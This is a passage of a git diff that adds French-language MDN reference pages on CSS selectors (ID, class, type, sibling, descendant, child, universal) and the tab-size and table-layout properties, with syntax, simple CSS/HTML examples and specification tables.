+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#attribute-selectors', 'attribute selectors')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#attribute-selectors', 'attribute selectors')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.attribute")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{CSSxRef("attr")}}</li>
+ <li>Sélectionner un élément : {{domxref("Document.querySelector()")}}, {{domxref("DocumentFragment.querySelector()")}} ou {{domxref("Element.querySelector()")}}</li>
+ <li>Sélectionner l'ensemble des éléments correspondants : {{domxref("Document.querySelectorAll()")}}, {{domxref("DocumentFragment.querySelectorAll()")}} ou {{domxref("Element.querySelectorAll()")}}</li>
+ <li>Ces méthodes sont implémentées sur le <em>mixin</em> {{domxref("ParentNode")}}, voir {{domxref("ParentNode.querySelector()")}} et {{domxref("ParentNode.querySelectorAll()")}}</li>
+</ul>
diff --git a/files/fr/web/css/sélecteurs_d_id/index.html b/files/fr/web/css/sélecteurs_d_id/index.html
new file mode 100644
index 0000000000..aa9a2141bc
--- /dev/null
+++ b/files/fr/web/css/sélecteurs_d_id/index.html
@@ -0,0 +1,87 @@
+---
+title: Sélecteurs d'ID
+slug: Web/CSS/Sélecteurs_d_ID
+tags:
+  - CSS
+  - Débutant
+  - Reference
+  - Sélecteur
+translation_of: Web/CSS/ID_selectors
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<p>Un sélecteur d'identifiant (<em>ID selector</em>) permet, pour un document HTML, de cibler un élément grâce à la valeur de son attribut {{htmlattrxref("ID")}}. Il faut que la valeur soit exactement la même que celle du sélecteur pour que l'élément soit effectivement ciblé.</p>
+
+<pre class="brush: css no-line-numbers">/* L'élément avec l'identifiant id="demo" */
+#demo {
+  border: red 2px solid;
+}</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">#valeur_identifiant { <em>déclarations</em> }</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Cela est équivalent à la notation suivante qui utilise un {{cssxref("Sélecteurs_d_attribut", "sélecteur d'attribut")}}:</p>
+
+<pre class="syntaxbox">[id=valeur_identifiant] { <em>déclarations</em> }</pre>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#identifie {
+  background-color: blue;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;span id="identifie"&gt;Voici un span avec du texte.&lt;/span&gt;
+&lt;span&gt;Et un autre (mais sans identifiant).&lt;/span&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 200, 50)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#id-selectors", "ID selectors")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Selectors", "#id-selectors", "ID selectors")}}</td>
+   <td>{{Spec2("CSS3 Selectors")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "selector.html#id-selectors", "ID selectors")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS1", "#id-as-selector", "ID selectors")}}</td>
+   <td>{{Spec2("CSS1")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.id")}}</p>
diff --git a/files/fr/web/css/sélecteurs_de_classe/index.html b/files/fr/web/css/sélecteurs_de_classe/index.html
new file mode 100644
index 0000000000..115d791092
--- /dev/null
+++ b/files/fr/web/css/sélecteurs_de_classe/index.html
@@ -0,0 +1,101 @@
+---
+title: Sélecteurs de classe
+slug: Web/CSS/Sélecteurs_de_classe
+tags:
+  - CSS
+  - Reference
+  - Sélecteur
+translation_of: Web/CSS/Class_selectors
+---
+<div>{{CSSRef}}</div>
+
+<p>Les <strong>sélecteurs de classe</strong> CSS permettent de cibler des éléments d'un document en fonction du contenu de l'attribut <code>class</code> de chaque élément.</p>
+
+<pre class="brush: css no-line-numbers">/* Cible tous les éléments ayant la classe "spacious" */
+.spacious {
+  margin: 2em;
+}
+
+/* Cible tous les éléments &lt;li&gt; ayant la classe "spacious" */
+li.spacious {
+  margin: 2em;
+}
+
+/* Cible tous les éléments &lt;li&gt; ayant une classe qui */
+/* contient à la fois "spacious" et "elegant"        */
+li.spacious.elegant {
+  margin: 2em;
+}</pre>
+
+<p>L'attribut {{htmlattrxref("class")}} est une liste de termes séparés par des espaces, il est nécessaire qu'un de ces termes corresponde exactement au nom utilisé dans le sélecteur pour que l'élément soit ciblé.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">.nomdeclasse { <em>déclarations CSS</em> }</pre>
+
+<p>Cela est exactement équivalent à l'utilisation du <a href="/fr/docs/Web/CSS/S%C3%A9lecteurs_d_attribut">sélecteur d'attribut</a> de la façon suivante :</p>
+
+<pre class="syntaxbox">[class~=nomdeclasse] { <em>déclarations CSS</em> }</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.classy {
+  background-color: skyblue;
+}
+.toto {
+ font-weight: bold;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="classy"&gt;Voici un div avec du texte.&lt;/div&gt;
+&lt;div class="toto classy truc"&gt;Les éléments peuvent avoir plusieurs classes, le sélecteur fonctionnera tout de même !&lt;/div&gt;
+&lt;div&gt;En voilà un autre.&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#class-html', 'class selectors')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#class-html', 'class selectors')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#class-html', 'child selectors')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#class-as-selector', 'child selectors')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.class")}}</p>
diff --git a/files/fr/web/css/sélecteurs_de_type/index.html b/files/fr/web/css/sélecteurs_de_type/index.html
new file mode 100644
index 0000000000..adf931d9fe
--- /dev/null
+++ b/files/fr/web/css/sélecteurs_de_type/index.html
@@ -0,0 +1,82 @@
+---
+title: Sélecteurs de type
+slug: Web/CSS/Sélecteurs_de_type
+tags:
+  - CSS
+  - Reference
+  - Sélecteur
+translation_of: Web/CSS/Type_selectors
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<p>Les sélecteurs de type CSS ciblent des éléments en fonction du nom de leur nœud. Ainsi, lorsqu'un sélecteur de type est utilisé seul, il ciblera tous les éléments de ce type (autrement dit tous les nœuds avec ce nom) contenus dans le document.</p>
+
+<pre class="brush: css no-line-numbers">/* Cibler tous les éléments &lt;a&gt;. */
+a {
+  color: red;
+}</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">élément { <em>style propriétés</em> }
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">span {
+  background-color: skyblue;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;span&gt;Voici un élément &lt;code&gt;span&lt;/code&gt; avec du texte.&lt;/span&gt;
+&lt;p&gt;Et là un élément &lt;code&gt;p&lt;/code&gt;.&lt;/p&gt;
+&lt;span&gt;Enfin, un autre élément &lt;code&gt;span&lt;/code&gt;.&lt;/span&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', 200, 150)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#type-selectors', 'Type (tag name) selector')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#type-selectors', 'type selectors')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#type-selectors', 'type selectors')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#basic-concepts', 'type selectors')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.type")}}</p>
diff --git a/files/fr/web/css/sélecteurs_de_voisins_généraux/index.html b/files/fr/web/css/sélecteurs_de_voisins_généraux/index.html
new file mode 100644
index 0000000000..ea97bdbf67
--- /dev/null
+++ b/files/fr/web/css/sélecteurs_de_voisins_généraux/index.html
@@ -0,0 +1,81 @@
+---
+title: Sélecteurs de voisins généraux
+slug: Web/CSS/Sélecteurs_de_voisins_généraux
+tags:
+  - CSS
+  - Débutant
+  - Reference
+  - Sélecteur
+translation_of: Web/CSS/General_sibling_combinator
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<p>Le combinateur <code>~</code> permet de séparer deux sélecteurs et de cibler un élément si celui-ci correspond au second sélecteur et est précédé (mais pas forcément voisin immédiat) d'un autre élément correspondant au premier sélecteur qui partage le même parent. Les deux éléments sont des fils d'un même parent {{domxref("Element")}}, voisins immédiats ou pas.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* Parmi tous les éléments &lt;img&gt;, cibler tous
+   éléments &lt;p&gt; qui les suivent. */
+img ~ p {
+  color: red;
+}</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">premier_element ~ second_element { <em>propriétés de style</em> }
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">p ~ span {
+  color: red;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;span&gt;Ici, ce n'est pas rouge.&lt;/span&gt;
+&lt;p&gt;Voici un paragraphe.&lt;/p&gt;
+&lt;code&gt;Un peu de code.&lt;/code&gt;
+&lt;span&gt;Et un autre span.&lt;/span&gt;
+&lt;code&gt;Encore du code&lt;/code&gt;
+&lt;span&gt;Ici aussi, c'est rouge&lt;/span&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', 280, 120)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#general-sibling-combinators', 'following-sibling combinator')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Ce combinateur est renommé en « <em>subsequent-sibling combinator</em> ».</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#general-sibling-combinators', 'general sibling combinator')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.general_sibling")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Sélecteur_de_voisin_direct">Sélecteur de voisin direct</a></li>
+</ul>
diff --git a/files/fr/web/css/sélecteurs_descendant/index.html b/files/fr/web/css/sélecteurs_descendant/index.html
new file mode 100644
index 0000000000..5690dd95e7
--- /dev/null
+++ b/files/fr/web/css/sélecteurs_descendant/index.html
@@ -0,0 +1,109 @@
+---
+title: Sélecteurs descendant
+slug: Web/CSS/Sélecteurs_descendant
+tags:
+  - CSS
+  - Débutant
+  - Reference
+  - Sélecteur
+translation_of: Web/CSS/Descendant_combinator
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<p>Le <strong>combinateur de descendance</strong>, représenté par un blanc (ou plusieurs blancs à la suite) permet de combiner deux sélecteurs  (sous la forme <code><var>sélecteur₁</var> <var>sélecteur₂</var></code>) afin de cibler les éléments qui correspondent au second sélecteur uniquement si ceux-ci ont un élément ancêtre qui correspond au premier sélecteur. Les sélecteurs qui utilisent ce combinateur sont souvent appelés des sélecteurs de descendants.</p>
+
+<pre class="brush: css no-line-numbers">/* Les éléments &lt;li&gt; qui sont des descendants */
+/* d'un &lt;ul class="mon-truc"&gt; */
+ul.mon-truc li {
+  margin: 2em;
+}</pre>
+
+<p>Techniquement, le combinateur de descendance est représenté par un ou plusieurs blancs (les caractères qui sont des blancs sont : l'espace, le retour chariot, le saut de ligne, la tabulation verticale, la tabulation horizontale) entre deux sélecteurs lorsqu'il n'y a aucun autre combinateur. Les blancs utilisés pour le combinateur peuvent éventuellement contenir des commentaires CSS.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">selecteur1 selecteur2 { <var>/* déclarations CSS */</var> }
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">li {
+  list-style-type: disc;
+}
+
+li li {
+  list-style-type: circle;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;
+    &lt;div&gt;Élément 1&lt;/div&gt;
+    &lt;ul&gt;
+      &lt;li&gt;Sous-élément A&lt;/li&gt;
+      &lt;li&gt;Sous-élément B&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;
+  &lt;li&gt;
+    &lt;div&gt;Élément 2&lt;/div&gt;
+    &lt;ul&gt;
+      &lt;li&gt;Sous-élément A&lt;/li&gt;
+      &lt;li&gt;Sous-élément B&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#descendant-combinators", "descendant combinator")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#descendant-combinators', 'descendant combinator')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#descendant-selectors', 'descendant selectors')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#contextual-selectors', 'contextual selectors')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.descendant")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Sélecteurs_enfant">Sélecteur d'enfant</a></li>
+</ul>
diff --git a/files/fr/web/css/sélecteurs_enfant/index.html b/files/fr/web/css/sélecteurs_enfant/index.html
new file mode 100644
index 0000000000..bc24234ef2
--- /dev/null
+++ b/files/fr/web/css/sélecteurs_enfant/index.html
@@ -0,0 +1,94 @@
+---
+title: Sélecteurs enfant
+slug: Web/CSS/Sélecteurs_enfant
+tags:
+  - CSS
+  - Débutant
+  - Reference
+  - Sélecteur
+translation_of: Web/CSS/Child_combinator
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<p>Le combinateur <code>&gt;</code> sépare deux sélecteurs et cible seulement les éléments correspondant au second sélecteur qui sont des enfants <strong>directs</strong> des éléments ciblés par le premier sélecteur.</p>
+
+<pre class="brush: css no-line-numbers">/* Les éléments &lt;li&gt; qui sont des enfant d'un */
+/* &lt;ul class="mon-truc"&gt; */
+ul.mon-truc&gt;li {
+  margin: 2em;
+}</pre>
+
+<p>En comparaison, lorsque deux sélecteurs sont combinés à l'aide du sélecteur descendant, l'expression formée par la combinaison des deux sélecteurs cible les éléments correspondant au second sélecteur qui ont un parent de n'importe quel niveau qui correspond au premier sélecteur, quelque soit le nombre de « sauts » dans le DOM.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">selecteur1 &gt; selecteur2 { <em>déclarations CSS</em> }
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">span {
+  background-color: white;
+}
+
+div &gt; span {
+  background-color: blue;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;span&gt;Premier span du div.
+    &lt;span&gt;Deuxième span, dans un span dans un div.&lt;/span&gt;
+  &lt;/span&gt;
+&lt;/div&gt;
+&lt;span&gt;Troisième span, en dehors de tout div.&lt;/span&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "100%", 100)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#child-combinators', 'child combinator')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#child-combinators', 'child combinators')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#child-selectors', 'child selectors')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.child")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Sélecteurs_descendant">Le combinateur de descendant</a></li>
+</ul>
diff --git a/files/fr/web/css/sélecteurs_universels/index.html b/files/fr/web/css/sélecteurs_universels/index.html
new file mode 100644
index 0000000000..470d27160c
--- /dev/null
+++ b/files/fr/web/css/sélecteurs_universels/index.html
@@ -0,0 +1,103 @@
+---
+title: Sélecteurs universels
+slug: Web/CSS/Sélecteurs_universels
+tags:
+  - CSS
+  - Reference
+  - Sélecteur
+translation_of: Web/CSS/Universal_selectors
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<p>L'astérisque (*) est le sélecteur universel en CSS. Il correspond à un élément de n'importe quel type.</p>
+
+<pre class="brush: css no-line-numbers">* {
+  color: green;
+}</pre>
+
+<p>En CSS 3, l'astérisque peut être combinée avec les espaces de nom :</p>
+
+<ul>
+ <li><code>ns|*</code> - correspond à tous les éléments de l'espace de noms <code>ns</code></li>
+ <li><code>*|*</code> - correspond à tous les éléments</li>
+ <li><code>|*</code> - correspond à tous les éléments sans espace de noms déclaré</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">* { <em>style properties</em> }</pre>
+
+<p>L'astérisque est optionnelle lorsqu'elle est utilisée avec des sélecteurs simples. Par exemple, <code>*.warning</code> et <code>.warning</code> seront équivalents.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">* [lang^=fr] {
+  color:green;
+}
+
+*.warning {
+  color:red;
+}
+
+*#maincontent {
+  border: 1px solid blue;
+}
+
+.floating {
+  float: left;
+}
+
+.floating + * {
+  clear: left;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="warning"&gt;
+  &lt;span lang="fr"&gt;Un span vert&lt;/span&gt; dans un paragraphe rouge.
+&lt;/p&gt;
+&lt;p id="maincontent" lang="fr"&gt;
+  &lt;span class="warning"&gt;Un span rouge&lt;/span&gt; dans un paragraphe vert.
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', 250, 100)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#the-universal-selector', 'universal selector')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#universal-selector', 'universal selector')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Définition du comportement avec les espaces de noms et ajout d'indications pour omettre le sélecteur avec les pseudo-éléments.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#universal-selector', 'universal selector')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.universal")}}</p>
diff --git a/files/fr/web/css/tab-size/index.html b/files/fr/web/css/tab-size/index.html
new file mode 100644
index 0000000000..61b80c16e2
--- /dev/null
+++ b/files/fr/web/css/tab-size/index.html
@@ -0,0 +1,98 @@
+---
+title: tab-size
+slug: Web/CSS/tab-size
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/tab-size
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété<strong> <code>tab-size</code></strong> permet d'adapter la largeur utilisée pour représenter le caractère de tabulation (<code>U+0009</code>).</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs entières */
+/* Type &lt;integer&gt;   */
+tab-size: 4;
+tab-size: 0;
+
+/* Valeurs de longueurs */
+/* Type &lt;length&gt;        */
+tab-size: 10px;
+tab-size: 2em;
+
+/* Valeurs globales */
+tab-size: inherit;
+tab-size: initial;
+tab-size: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;integer&gt;")}}</dt>
+ <dd>Le nombre d'espaces qu'occupe une tabulation. La valeur doit être positive.</dd>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>La largeur de la tabulation. La valeur doit être positive.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;pre class="exemple"&gt;
+	print "tabulation avant"
+    print "4 espaces avant"
+  print "2 espaces avant"
+&lt;/pre&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple {
+  tab-size: 5;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","100%")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#tab-size-property', 'tab-size')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.tab-size")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="http://lists.w3.org/Archives/Public/www-style/2008Dec/0009.html"><cite>Contrôler la taille du caractère de tabulation (U+0009)</cite></a>, un e-mail d'Anne van Kesteren pour le CSSWG afin de proposer la standardisation de cette propriété (en anglais).</li>
+</ul>
diff --git a/files/fr/web/css/table-layout/index.html b/files/fr/web/css/table-layout/index.html
new file mode 100644
index 0000000000..d6c9238751
--- /dev/null
+++ b/files/fr/web/css/table-layout/index.html
@@ -0,0 +1,111 @@
+---
+title: table-layout
+slug: Web/CSS/table-layout
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/table-layout
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>table-layout</code></strong> définit l'algorithme utilisé pour disposer les cellules, lignes et colonnes d'un tableau.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/table-layout.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
